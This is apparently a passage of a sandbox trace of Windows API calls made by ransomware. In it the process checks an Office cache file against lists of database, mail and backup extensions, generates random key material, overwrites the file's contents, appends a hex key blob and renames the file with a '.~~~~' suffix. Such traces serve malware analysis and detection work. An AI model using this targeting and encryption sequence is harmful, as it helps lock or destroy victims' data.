	[0076.760] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".SQL") returned 0x0
	[0076.760] lstrlenW (lpString=".pst") returned 4
	[0076.761] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".pst") returned 0x0
	[0076.761] lstrlenW (lpString=".dbv") returned 4
	[0076.761] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".dbv") returned 0x0
	[0076.761] lstrlenW (lpString=".SDF") returned 4
	[0076.761] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".SDF") returned 0x0
	[0076.761] lstrlenW (lpString=".dtxs") returned 5
	[0076.761] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".dtxs") returned 0x0
	[0076.761] lstrlenW (lpString=".db3") returned 4
	[0076.761] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".db3") returned 0x0
	[0076.761] lstrlenW (lpString=".OST") returned 4
	[0076.761] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".OST") returned 0x0
	[0076.761] lstrlenW (lpString=".dbx") returned 4
	[0076.761] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".dbx") returned 0x0
	[0076.761] lstrlenW (lpString=".DB3") returned 4
	[0076.761] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".DB3") returned 0x0
	[0076.761] lstrlenW (lpString=".DAT") returned 4
	[0076.761] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".DAT") returned 0x0
	[0076.761] lstrlenW (lpString=".VHDX") returned 5
	[0076.761] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".VHDX") returned 0x0
	[0076.761] lstrlenW (lpString=".ndf") returned 4
	[0076.761] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".ndf") returned 0x0
	[0076.761] lstrlenW (lpString=".DB") returned 3
	[0076.761] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".DB") returned 0x0
	[0076.761] lstrlenW (lpString=".sql") returned 4
	[0076.761] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".sql") returned 0x0
	[0076.761] lstrlenW (lpString=".MYD") returned 4
	[0076.762] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".MYD") returned 0x0
	[0076.762] lstrlenW (lpString=".DBT") returned 4
	[0076.762] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".DBT") returned 0x0
	[0076.762] lstrlenW (lpString=".ACCDB") returned 6
	[0076.762] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".ACCDB") returned 0x0
	[0076.762] lstrlenW (lpString=".fdb") returned 4
	[0076.762] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".fdb") returned 0x0
	[0076.762] lstrlenW (lpString=".bak") returned 4
	[0076.762] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".bak") returned 0x0
	[0076.762] lstrlenW (lpString=".myd") returned 4
	[0076.762] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".myd") returned 0x0
	[0076.762] lstrlenW (lpString=".DTXS") returned 5
	[0076.762] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".DTXS") returned 0x0
	[0076.762] lstrlenW (lpString=".ckp") returned 4
	[0076.762] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".ckp") returned 0x0
	[0076.762] lstrlenW (lpString=".dbt") returned 4
	[0076.762] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".dbt") returned 0x0
	[0076.762] lstrlenW (lpString=".db") returned 3
	[0076.762] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".db") returned 0x0
	[0076.762] lstrlenW (lpString=".TXT") returned 4
	[0076.762] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".TXT") returned 0x0
	[0076.762] lstrlenW (lpString=".MDF") returned 4
	[0076.762] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".MDF") returned 0x0
	[0076.762] lstrlenW (lpString=".bdb") returned 4
	[0076.762] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".bdb") returned 0x0
	[0076.763] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.763] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7108
	[0076.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.763] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0076.764] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.764] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.764] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19675423919) returned 1
	[0076.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x97a7d230, dwHighDateTime=0x1d60e1e)) 
	[0076.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0076.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3920
	[0076.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3920 | out: hHeap=0x300000) returned 1
	[0076.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0076.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0076.765] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0076.765] GetLastError () returned 0x0
	[0076.765] GetLastError () returned 0x0
	[0076.765] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0076.765] GetLastError () returned 0x0
	[0076.765] GetLastError () returned 0x0
	[0076.766] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.772] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.772] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0076.774] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.774] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.778] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.778] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.778] CloseHandle (hObject=0x118) returned 1
	[0076.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4778
	[0076.778] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.~~~~")) returned 1
	[0076.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4778 | out: hHeap=0x300000) returned 1
	[0076.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.779] GetLastError () returned 0x0
	[0076.779] RtlWakeConditionVariable () returned 0x365f70
	[0076.779] GetCurrentThreadId () returned 0xaf0
	[0076.779] GetCurrentThreadId () returned 0xaf0
	[0076.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0076.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4ea8 | out: hHeap=0x300000) returned 1
	[0076.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3958 | out: hHeap=0x300000) returned 1
	[0076.779] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4ea8
	[0076.779] lstrlenW (lpString=".scr") returned 4
	[0076.779] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".scr") returned 0x0
	[0076.780] lstrlenW (lpString=".cmd") returned 4
	[0076.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".cmd") returned 0x0
	[0076.780] lstrlenW (lpString=".dll") returned 4
	[0076.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".dll") returned 0x0
	[0076.780] lstrlenW (lpString=".bat") returned 4
	[0076.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".bat") returned 0x0
	[0076.780] lstrlenW (lpString=".cpl") returned 4
	[0076.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".cpl") returned 0x0
	[0076.780] lstrlenW (lpString=".sys") returned 4
	[0076.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".sys") returned 0x0
	[0076.780] lstrlenW (lpString=".msc") returned 4
	[0076.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".msc") returned 0x0
	[0076.780] lstrlenW (lpString=".com") returned 4
	[0076.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".com") returned 0x0
	[0076.780] lstrlenW (lpString=".lnk") returned 4
	[0076.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".lnk") returned 0x0
	[0076.780] lstrlenW (lpString=".msp") returned 4
	[0076.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".msp") returned 0x0
	[0076.780] lstrlenW (lpString=".pif") returned 4
	[0076.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".pif") returned 0x0
	[0076.780] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.780] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0076.780] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0076.781] lstrlenW (lpString=".sqb") returned 4
	[0076.781] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".sqb") returned 0x0
	[0076.781] lstrlenW (lpString=".ost") returned 4
	[0076.781] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".ost") returned 0x0
	[0076.781] lstrlenW (lpString=".txt") returned 4
	[0076.781] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".txt") returned 0x0
	[0076.781] lstrlenW (lpString=".mdt") returned 4
	[0076.781] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".mdt") returned 0x0
	[0076.781] lstrlenW (lpString=".BDB") returned 4
	[0076.781] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".BDB") returned 0x0
	[0076.781] lstrlenW (lpString=".eql") returned 4
	[0076.781] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".eql") returned 0x0
	[0076.781] lstrlenW (lpString=".DBF") returned 4
	[0076.781] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".DBF") returned 0x0
	[0076.781] lstrlenW (lpString=".EQL") returned 4
	[0076.781] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".EQL") returned 0x0
	[0076.781] lstrlenW (lpString=".FDB") returned 4
	[0076.781] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".FDB") returned 0x0
	[0076.781] lstrlenW (lpString=".EDB") returned 4
	[0076.781] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".EDB") returned 0x0
	[0076.781] lstrlenW (lpString=".DACPAC") returned 7
	[0076.781] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".DACPAC") returned 0x0
	[0076.782] lstrlenW (lpString=".VHD") returned 4
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".VHD") returned 0x0
	[0076.782] lstrlenW (lpString=".DBV") returned 4
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".DBV") returned 0x0
	[0076.782] lstrlenW (lpString=".dacpac") returned 7
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".dacpac") returned 0x0
	[0076.782] lstrlenW (lpString=".sdf") returned 4
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".sdf") returned 0x0
	[0076.782] lstrlenW (lpString=".accdb") returned 6
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".accdb") returned 0x0
	[0076.782] lstrlenW (lpString=".DBX") returned 4
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".DBX") returned 0x0
	[0076.782] lstrlenW (lpString=".MDT") returned 4
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".MDT") returned 0x0
	[0076.782] lstrlenW (lpString=".SQB") returned 4
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".SQB") returned 0x0
	[0076.782] lstrlenW (lpString=".vhd") returned 4
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".vhd") returned 0x0
	[0076.782] lstrlenW (lpString=".bac") returned 4
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".bac") returned 0x0
	[0076.782] lstrlenW (lpString=".mdf") returned 4
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".mdf") returned 0x0
	[0076.782] lstrlenW (lpString=".BAK") returned 4
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".BAK") returned 0x0
	[0076.782] lstrlenW (lpString=".BAC") returned 4
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".BAC") returned 0x0
	[0076.782] lstrlenW (lpString=".dbs") returned 4
	[0076.782] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".dbs") returned 0x0
	[0076.783] lstrlenW (lpString=".vhdx") returned 5
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".vhdx") returned 0x0
	[0076.783] lstrlenW (lpString=".NDF") returned 4
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".NDF") returned 0x0
	[0076.783] lstrlenW (lpString=".dat") returned 4
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".dat") returned 0x0
	[0076.783] lstrlenW (lpString=".DBS") returned 4
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".DBS") returned 0x0
	[0076.783] lstrlenW (lpString=".CKP") returned 4
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".CKP") returned 0x0
	[0076.783] lstrlenW (lpString=".edb") returned 4
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".edb") returned 0x0
	[0076.783] lstrlenW (lpString=".PST") returned 4
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".PST") returned 0x0
	[0076.783] lstrlenW (lpString=".dbf") returned 4
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".dbf") returned 0x0
	[0076.783] lstrlenW (lpString=".SQL") returned 4
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".SQL") returned 0x0
	[0076.783] lstrlenW (lpString=".pst") returned 4
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".pst") returned 0x0
	[0076.783] lstrlenW (lpString=".dbv") returned 4
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".dbv") returned 0x0
	[0076.783] lstrlenW (lpString=".SDF") returned 4
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".SDF") returned 0x0
	[0076.783] lstrlenW (lpString=".dtxs") returned 5
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".dtxs") returned 0x0
	[0076.783] lstrlenW (lpString=".db3") returned 4
	[0076.783] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".db3") returned 0x0
	[0076.784] lstrlenW (lpString=".OST") returned 4
	[0076.784] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".OST") returned 0x0
	[0076.784] lstrlenW (lpString=".dbx") returned 4
	[0076.784] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".dbx") returned 0x0
	[0076.784] lstrlenW (lpString=".DB3") returned 4
	[0076.784] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".DB3") returned 0x0
	[0076.784] lstrlenW (lpString=".DAT") returned 4
	[0076.784] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".DAT") returned 0x0
	[0076.784] lstrlenW (lpString=".VHDX") returned 5
	[0076.784] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".VHDX") returned 0x0
	[0076.784] lstrlenW (lpString=".ndf") returned 4
	[0076.784] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".ndf") returned 0x0
	[0076.784] lstrlenW (lpString=".DB") returned 3
	[0076.784] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpSrch=".DB") returned 0x0
	[0076.784] lstrlenW (lpString=".sql") returned 4
